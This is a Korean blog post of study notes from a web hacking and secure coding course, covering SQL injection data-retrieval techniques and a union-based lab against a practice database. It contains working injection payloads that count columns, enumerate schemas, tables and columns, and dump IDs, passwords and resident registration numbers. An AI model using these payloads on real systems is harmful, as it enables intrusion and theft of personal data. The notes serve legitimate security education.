웹 해킹 & 시큐어 코딩

웹 해킹 & 시큐어 코딩 (8)

홍시뗄레 2025. 1. 17. 15:24

데이터 조회 공격이란 무엇인가?

sql 구문 삽입을 통해 데이터 조회하는 것. 가장 많이 사용된다. 웹 해킹의 꽃.

데이터베이스 안에는 데이터들이 저장되어 있음. 중요 정보들을 공격자가 탈취한다면 중요 데이터(개인정보 등)를 판매하거나, 회사 내 계정 정보로 다른 공격에 활용할 수도 있다. 

데이터 조회 공격 기법 종류

1) Error-Based

DBMS 에러를 통해 공격자가 의도하는 데이터를 조회하는 공격. 에러 페이지를 통해 DBMS가 노출된다.

애플리케이션에서 에러가 나타나지 않아도 DBMS가 노출되는 경우.

2) Blind-Based

3) Union-Based

4) Out-of-band

1,3은 In-band 공격. 채널 내(http). 대역 내 공격 기법이라고 한다.

4는 대역 외 공격 기법. 특정 해커 IP로 HTTP, DNS 등의 요청을 함. 버전 정보나, 공격자가 의도한 데이터가 실리게 된다. 

제약 조건이 있어 빈번하게 발생하는 공격은 아니다. 

UNION-BASED 공격이란 무엇인가?

UNION이라는 구문을 통해 데이터베이스가 반환한 데이터를 변조하는 공격.

UNION이란? 복합 query. 하나 이상의 테이블들을 합친 개념. 

공격의 특성상 속도가 빠르다. 게시판 목록, 검색 기능을 통해 자주 일어나는 공격. 

원래는 select를 board로 할 텐데, 이를 거짓으로 바꾸고 공격자가 원하는 데이터를 select하게끔 만드는 union 기반의 sql 공격. 

속도: union-based > error-based >>> blind-based

[실습2-6] UNION-BASED 공격을 통한 중요 정보 탈취 실습

 

이런 식으로 취약점 판단이 가능하다. 

' and 1=1# --> true

' and 1=2# --> false

적용이 되면 취약점이 존재한다는 의미.

 

MySQL: 'te' 'st'

ORACLE: 'te'||'st'

MSSQL: 'te'+'st'

검색창에 입력할 때는 제일 끝에 있는 ''를 빼고 검색하면 됨.

 

Union 공격 절차

Step 1) order by 구문을 통해 컬럼 개수 식별

Step 2) UNION 구문 사용

Step 3) 출력 포지션 파악

order by 구문을 사용하는 것.

1부터 계속 올리다보면, ' order by 9#까지는 되지만 10부터는 출력이 안 된다.

즉, 컬럼 개수가 9개이다. 

Step 1이 통과되었으므로 UNION 구문을 사용할 것이다.

' union select null,null,null,null,null,null,null,null,null#

null 개수는 9개.

 

UNION: 컬럼 개수, 데이터 타입이 동일해야 된다. 그래서 컬럼 개수를 식별해줘야 한다.

 

예시)

select 1, 'test' union select 2, 'ha'

앞의 1과 2가 동일한 타입, 뒤의 'test'와 'ha'가 동일한 타입, 그리고 컬럼 개수도 같아야 한다.

 

null은 데이터 타입에 영향을 받지 않는다. 그래서 null을 주로 사용함.

이렇게 입력해서 검색하면 전체 게시글이 잘 나온다. 

만약 null의 개수가 맞지 않으면, 검색되지 않는다.

원래는 error가 발생하는 게 일반적이다.

 

Step 3으로 넘어가보자. 출력 포지션을 파악해보자.

' union select 'test',null,null,null,null,null,null,null,null#

위의 구문을 입력해서 검색하면 test가 나온다.

게시글이 엄청 많은 경우 기존에 있던 게시글 때문에 밀려서 안 보일 수도 있기 때문에, 상위 select 절을 거짓으로 바꿔야 보이게 할 수 있다.

 

* 공격을 효율적으로 하기 위해 상위 SELECT 문을 거짓으로 하여 레코드 출력을 방지

' and 1=2 union select 'test',null,null,null,null,null,null,null,null#

위의 구문을 입력하면 기존에 올렸던 게시글은 검색되지 않고 구문에 대한 레코드 값만 출력된다.

여기서 test의 위치를 달리 하며 몇 번째가 어떤 것을 의미하는지 알아낼 수 있다.

예를 들어,

' and 1=2 union select 'test','test',null,null,'test',null,null,'test',null#

이걸 넣어서 검색해보자. (1,2,5,8번째에 test를 입력한 것.)

no, title, write, date 칸에 test가 입력된 것이 보인다.

 

데이터 조회 공격 프로세스 - 모든 데이터 조회 공격 기법 동일

Step1) 기본 정보 목록화 - 버전, 사용자, 현재 데이터베이스명

Step2) 메타 데이터 목록화 - 데이터 사전(Data Dictionary)

데이터에 대한 데이터. 자료의 속성을 설명해줌. 지도 역할

MySQL: information_schema.schemata, information_schema.tables, information_schema.columns

MSSQL: master.sys.databases, [db]sys.objects, [db].sys.columns

ORACLE: all_tables, all_tab_columns

Step3) 데이터 목록화

 

우선 Step1을 해보자.

' and 1=2 union select system_user(),version(),null,null,database(),null,null,'test',null#

입력값이 표시되는 부분에 각각 사용자, 버전, 그리고 현재 데이터베이스명이 출력될 수 있도록 함수를 입력했다.

결과물.

사용자는 root, 그리고 버전, db도 나온다.

 

다음으로 Step2.

데이터베이스 목록화를 해보자.

' and 1=2 union select null,schema_name,null,null,null,null,null,null,null from information_schema.schemata#

결과물.

우리가 알고 있는 것은 pentest. 데이터베이스명이 pentest라는 것을 위에서 알아냈었다.

 

다음으로는 테이블 목록화를 해보자.

' and 1=2 union select null,table_name,null,null,null,null,null,null,null from information_schema.tables where table_schema='pentest'#

뒤에 where 구문이 들어온 이유는, where을 쓰지 않으면 모든 테이블이 나오므로 우리가 아는 pentest 데이터베이스에 대한 목록만 출력하기 위해서이다.

결과물. 테이블이 목록화되었다.

첫 번째 customer_info 테이블을 타겟으로 컬럼을 목록화해보자.

 

' and 1=2 union select null,column_name,null,null,null,null,null,null,null from information_schema.columns where table_schema='pentest' and table_name='customer_info'#

여기서 이전에 'pentest'의 테이블에서 검색한 것이므로 컬럼을 목록화할 때 이것을 지워버리면 전체 결과가 나오니 뒤에 and으로 추가해주어야 한다.

결과물.

 

이제 데이터 목록화를 해보자. (step 3)

' and 1=2 union select id,password,null,null,jumin,null,null,null,null from customer_info#

이렇게 노출되는 것을 확인할 수 있다. 

 

아까 위에서 테이블 목록화를 할 때 members라는 테이블도 있었다. 이것도 실습해보자.

' and 1=2 union select null,column_name,null,null,null,null,null,null,null from information_schema.columns where table_schema='pentest' and table_name='members'#

아까 위에서는 password가 해쉬함수로 적용이 되지 않았음을 볼 수 있는데, 이번에도 그런지 해보자.

' and 1=2 union select id,password,null,null,name,null,null,null,null from members#

이번에는 패스워드 해쉬함수가 처리되어있음이 보인다.